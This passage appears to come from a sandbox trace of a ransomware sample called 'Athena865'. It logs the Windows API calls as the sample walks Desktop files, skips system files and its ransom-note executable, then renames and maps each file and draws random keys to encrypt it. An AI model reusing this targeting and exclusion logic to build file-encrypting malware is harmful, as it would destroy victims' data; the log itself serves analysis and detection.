WWtXB.swf", lpString2="boot") returned -1 [0050.423] lstrcmpiW (lpString1="as_gjoerstCS4z WWtXB.swf", lpString2="ids.txt") returned -1 [0050.423] lstrcmpiW (lpString1="as_gjoerstCS4z WWtXB.swf", lpString2="ntuser.dat") returned -1 [0050.423] lstrcmpiW (lpString1="as_gjoerstCS4z WWtXB.swf", lpString2="perflogs") returned -1 [0050.423] lstrcmpiW (lpString1="as_gjoerstCS4z WWtXB.swf", lpString2="MSBuild") returned -1 [0050.423] lstrlenW (lpString="as_gjoerstCS4z WWtXB.swf") returned 24 [0050.423] lstrcpyW (in: lpString1=0x241e8b6, lpString2="as_gjoerstCS4z WWtXB.swf" | out: lpString1="as_gjoerstCS4z WWtXB.swf") returned="as_gjoerstCS4z WWtXB.swf" [0050.423] lstrlenW (lpString="as_gjoerstCS4z WWtXB.swf") returned 24 [0050.424] lstrlenW (lpString="Athena865") returned 9 [0050.424] lstrcmpiW (lpString1="WWtXB.swf", lpString2="Athena865") returned 1 [0050.424] lstrlenW (lpString=".dll") returned 4 [0050.424] lstrcmpiW (lpString1="as_gjoerstCS4z WWtXB.swf", lpString2=".dll") returned 1 [0050.424] lstrlenW (lpString=".lnk") returned 4 [0050.424] lstrcmpiW (lpString1="as_gjoerstCS4z WWtXB.swf", lpString2=".lnk") returned 1 [0050.424] lstrlenW (lpString=".ini") returned 4 [0050.424] lstrcmpiW (lpString1="as_gjoerstCS4z WWtXB.swf", lpString2=".ini") returned 1 [0050.424] lstrlenW (lpString=".sys") returned 4 [0050.424] lstrcmpiW (lpString1="as_gjoerstCS4z WWtXB.swf", lpString2=".sys") returned 1 [0050.424] lstrlenW (lpString="as_gjoerstCS4z WWtXB.swf") returned 24 [0050.424] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\as_gjoerstCS4z WWtXB.swf.Athena865") returned 89 [0050.424] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\as_gjoerstCS4z WWtXB.swf" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\as_gjoerstcs4z wwtxb.swf"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\as_gjoerstCS4z WWtXB.swf.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\as_gjoerstcs4z wwtxb.swf.athena865"), dwFlags=0x1) returned 1 [0050.425] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\as_gjoerstCS4z WWtXB.swf.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\as_gjoerstcs4z wwtxb.swf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0050.425] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=38603) returned 1 [0050.425] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.425] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.425] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.425] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.426] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.426] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.426] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x99d0, lpName=0x0) returned 0x17c [0050.426] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x99d0) returned 0x100000 [0050.428] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.428] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.428] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.428] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.429] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.429] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.429] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.429] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.429] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.429] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.429] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.429] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.429] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.429] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.429] CloseHandle (hObject=0x17c) returned 1 [0050.430] CloseHandle (hObject=0x154) returned 1 [0050.431] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.431] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.431] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.431] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f64f50, ftCreationTime.dwHighDateTime=0x1d4cc5c, ftLastAccessTime.dwLowDateTime=0x53c98f0, ftLastAccessTime.dwHighDateTime=0x1d4ceef, ftLastWriteTime.dwLowDateTime=0x53c98f0, ftLastWriteTime.dwHighDateTime=0x1d4ceef, nFileSizeHigh=0x0, nFileSizeLow=0x1ca2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bvnGyby3BVhUG4Ku.wav", cAlternateFileName="BVNGYB~1.WAV")) returned 1 [0050.431] lstrcmpiW (lpString1="bvnGyby3BVhUG4Ku.wav", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.431] lstrcmpiW (lpString1="bvnGyby3BVhUG4Ku.wav", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0050.431] lstrcmpiW (lpString1="bvnGyby3BVhUG4Ku.wav", lpString2=".") returned 1 [0050.431] lstrcmpiW (lpString1="bvnGyby3BVhUG4Ku.wav", lpString2="..") returned 1 [0050.431] lstrcmpiW (lpString1="bvnGyby3BVhUG4Ku.wav", lpString2="windows") returned -1 [0050.431] lstrcmpiW (lpString1="bvnGyby3BVhUG4Ku.wav", lpString2="bootmgr") returned 1 [0050.431] lstrcmpiW (lpString1="bvnGyby3BVhUG4Ku.wav", lpString2="temp") returned -1 [0050.431] lstrcmpiW (lpString1="bvnGyby3BVhUG4Ku.wav", lpString2="pagefile.sys") returned -1 [0050.431] lstrcmpiW (lpString1="bvnGyby3BVhUG4Ku.wav", lpString2="boot") returned 1 [0050.431] lstrcmpiW (lpString1="bvnGyby3BVhUG4Ku.wav", lpString2="ids.txt") returned -1 [0050.432] lstrcmpiW (lpString1="bvnGyby3BVhUG4Ku.wav", lpString2="ntuser.dat") returned -1 [0050.432] lstrcmpiW (lpString1="bvnGyby3BVhUG4Ku.wav", lpString2="perflogs") returned -1 [0050.432] lstrcmpiW (lpString1="bvnGyby3BVhUG4Ku.wav", lpString2="MSBuild") returned -1 [0050.432] lstrlenW (lpString="bvnGyby3BVhUG4Ku.wav") returned 20 [0050.432] lstrcpyW (in: lpString1=0x241e8b6, lpString2="bvnGyby3BVhUG4Ku.wav" | out: lpString1="bvnGyby3BVhUG4Ku.wav") returned="bvnGyby3BVhUG4Ku.wav" [0050.432] lstrlenW (lpString="bvnGyby3BVhUG4Ku.wav") returned 20 [0050.432] lstrlenW (lpString="Athena865") returned 9 [0050.432] lstrcmpiW (lpString1="UG4Ku.wav", lpString2="Athena865") returned 1 [0050.432] lstrlenW (lpString=".dll") returned 4 [0050.432] lstrcmpiW (lpString1="bvnGyby3BVhUG4Ku.wav", lpString2=".dll") returned 1 [0050.432] lstrlenW (lpString=".lnk") returned 4 [0050.432] lstrcmpiW (lpString1="bvnGyby3BVhUG4Ku.wav", lpString2=".lnk") returned 1 [0050.432] lstrlenW (lpString=".ini") returned 4 [0050.432] lstrcmpiW (lpString1="bvnGyby3BVhUG4Ku.wav", lpString2=".ini") returned 1 [0050.432] lstrlenW (lpString=".sys") returned 4 [0050.432] lstrcmpiW (lpString1="bvnGyby3BVhUG4Ku.wav", lpString2=".sys") returned 1 [0050.432] lstrlenW (lpString="bvnGyby3BVhUG4Ku.wav") returned 20 [0050.432] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\bvnGyby3BVhUG4Ku.wav.Athena865") returned 85 [0050.432] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\bvnGyby3BVhUG4Ku.wav" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\bvngyby3bvhug4ku.wav"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\bvnGyby3BVhUG4Ku.wav.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\bvngyby3bvhug4ku.wav.athena865"), dwFlags=0x1) returned 1 [0050.433] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\bvnGyby3BVhUG4Ku.wav.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\bvngyby3bvhug4ku.wav.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0050.433] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7330) returned 1 [0050.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.433] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.434] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.434] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.434] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1fb0, lpName=0x0) returned 0x17c [0050.434] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1fb0) returned 0x100000 [0050.435] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.435] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.435] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.435] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.436] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.436] CloseHandle (hObject=0x17c) returned 1 [0050.436] CloseHandle (hObject=0x154) returned 1 [0050.437] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.437] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.437] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.438] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d462d0, ftCreationTime.dwHighDateTime=0x1d4cdd6, ftLastAccessTime.dwLowDateTime=0x98c70bc0, ftLastAccessTime.dwHighDateTime=0x1d4cb0a, ftLastWriteTime.dwLowDateTime=0x98c70bc0, ftLastWriteTime.dwHighDateTime=0x1d4cb0a, nFileSizeHigh=0x0, nFileSizeLow=0x2579, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cc-i8iL8NSZcth9GSj_2.pptx", cAlternateFileName="CC-I8I~1.PPT")) returned 1 [0050.438] lstrcmpiW (lpString1="cc-i8iL8NSZcth9GSj_2.pptx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.438] lstrcmpiW (lpString1="cc-i8iL8NSZcth9GSj_2.pptx", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0050.438] lstrcmpiW (lpString1="cc-i8iL8NSZcth9GSj_2.pptx", lpString2=".") returned 1 [0050.438] lstrcmpiW (lpString1="cc-i8iL8NSZcth9GSj_2.pptx", lpString2="..") returned 1 [0050.438] lstrcmpiW (lpString1="cc-i8iL8NSZcth9GSj_2.pptx", lpString2="windows") returned -1 [0050.438] lstrcmpiW (lpString1="cc-i8iL8NSZcth9GSj_2.pptx", lpString2="bootmgr") returned 1 [0050.438] lstrcmpiW (lpString1="cc-i8iL8NSZcth9GSj_2.pptx", lpString2="temp") returned -1 [0050.438] lstrcmpiW (lpString1="cc-i8iL8NSZcth9GSj_2.pptx", lpString2="pagefile.sys") returned -1 [0050.438] lstrcmpiW (lpString1="cc-i8iL8NSZcth9GSj_2.pptx", lpString2="boot") returned 1 [0050.438] lstrcmpiW (lpString1="cc-i8iL8NSZcth9GSj_2.pptx", lpString2="ids.txt") returned -1 [0050.438] lstrcmpiW (lpString1="cc-i8iL8NSZcth9GSj_2.pptx", lpString2="ntuser.dat") returned -1 [0050.438] lstrcmpiW (lpString1="cc-i8iL8NSZcth9GSj_2.pptx", lpString2="perflogs") returned -1 [0050.438] lstrcmpiW (lpString1="cc-i8iL8NSZcth9GSj_2.pptx", lpString2="MSBuild") returned -1 [0050.438] lstrlenW (lpString="cc-i8iL8NSZcth9GSj_2.pptx") returned 25 [0050.438] lstrcpyW (in: lpString1=0x241e8b6, lpString2="cc-i8iL8NSZcth9GSj_2.pptx" | out: lpString1="cc-i8iL8NSZcth9GSj_2.pptx") returned="cc-i8iL8NSZcth9GSj_2.pptx" [0050.438] lstrlenW (lpString="cc-i8iL8NSZcth9GSj_2.pptx") returned 25 [0050.438] lstrlenW (lpString="Athena865") returned 9 [0050.438] lstrcmpiW (lpString1="Sj_2.pptx", lpString2="Athena865") returned 1 [0050.438] lstrlenW (lpString=".dll") returned 4 [0050.438] lstrcmpiW (lpString1="cc-i8iL8NSZcth9GSj_2.pptx", lpString2=".dll") returned 1 [0050.438] lstrlenW (lpString=".lnk") returned 4 [0050.438] lstrcmpiW (lpString1="cc-i8iL8NSZcth9GSj_2.pptx", lpString2=".lnk") returned 1 [0050.438] lstrlenW (lpString=".ini") returned 4 [0050.438] lstrcmpiW (lpString1="cc-i8iL8NSZcth9GSj_2.pptx", lpString2=".ini") returned 1 [0050.438] lstrlenW (lpString=".sys") returned 4 [0050.438] lstrcmpiW (lpString1="cc-i8iL8NSZcth9GSj_2.pptx", lpString2=".sys") returned 1 [0050.438] lstrlenW (lpString="cc-i8iL8NSZcth9GSj_2.pptx") returned 25 [0050.439] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\cc-i8iL8NSZcth9GSj_2.pptx.Athena865") returned 90 [0050.439] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\cc-i8iL8NSZcth9GSj_2.pptx" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\cc-i8il8nszcth9gsj_2.pptx"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\cc-i8iL8NSZcth9GSj_2.pptx.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\cc-i8il8nszcth9gsj_2.pptx.athena865"), dwFlags=0x1) returned 1 [0050.439] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\cc-i8iL8NSZcth9GSj_2.pptx.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\cc-i8il8nszcth9gsj_2.pptx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0050.439] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9593) returned 1 [0050.439] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.440] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.440] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.440] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.441] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.441] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.441] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2880, lpName=0x0) returned 0x17c [0050.441] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2880) returned 0x100000 [0050.441] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.442] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.442] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.442] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.442] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.442] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.442] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.442] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.442] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.443] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.443] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.443] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.443] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.443] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.443] CloseHandle (hObject=0x17c) returned 1 [0050.443] CloseHandle (hObject=0x154) returned 1 [0050.444] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.444] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.444] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.444] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa892fa80, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xa892fa80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xa6c93700, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x34200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CUsersGustavoDesktopAthena865.exe", cAlternateFileName="CUSERS~1.EXE")) returned 1 [0050.444] lstrcmpiW (lpString1="CUsersGustavoDesktopAthena865.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.444] lstrcmpiW (lpString1="CUsersGustavoDesktopAthena865.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 0 [0050.444] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0050.444] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.445] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0050.445] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1 [0050.445] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1 [0050.445] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1 [0050.445] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1 [0050.445] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1 [0050.445] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1 [0050.445] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1 [0050.445] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1 [0050.445] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1 [0050.445] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1 [0050.445] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1 [0050.445] lstrlenW (lpString="desktop.ini") returned 11 [0050.445] lstrcpyW (in: lpString1=0x241e8b6, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0050.445] lstrlenW (lpString="desktop.ini") returned 11 [0050.445] lstrlenW (lpString="Athena865") returned 9 [0050.445] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0050.445] lstrlenW (lpString=".dll") returned 4 [0050.445] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0050.445] lstrlenW (lpString=".lnk") returned 4 [0050.445] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0050.445] lstrlenW (lpString=".ini") returned 4 [0050.445] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0050.445] lstrlenW (lpString=".sys") returned 4 [0050.445] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0050.445] lstrlenW (lpString="desktop.ini") returned 11 [0050.445] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\desktop.ini.Athena865") returned 76 [0050.445] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\desktop.ini" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0050.446] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0050.446] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=282) returned 1 [0050.446] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.447] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.447] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.447] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.447] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.447] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.448] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x420, lpName=0x0) returned 0x17c [0050.454] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x420) returned 0x100000 [0050.455] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.455] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.455] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.456] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 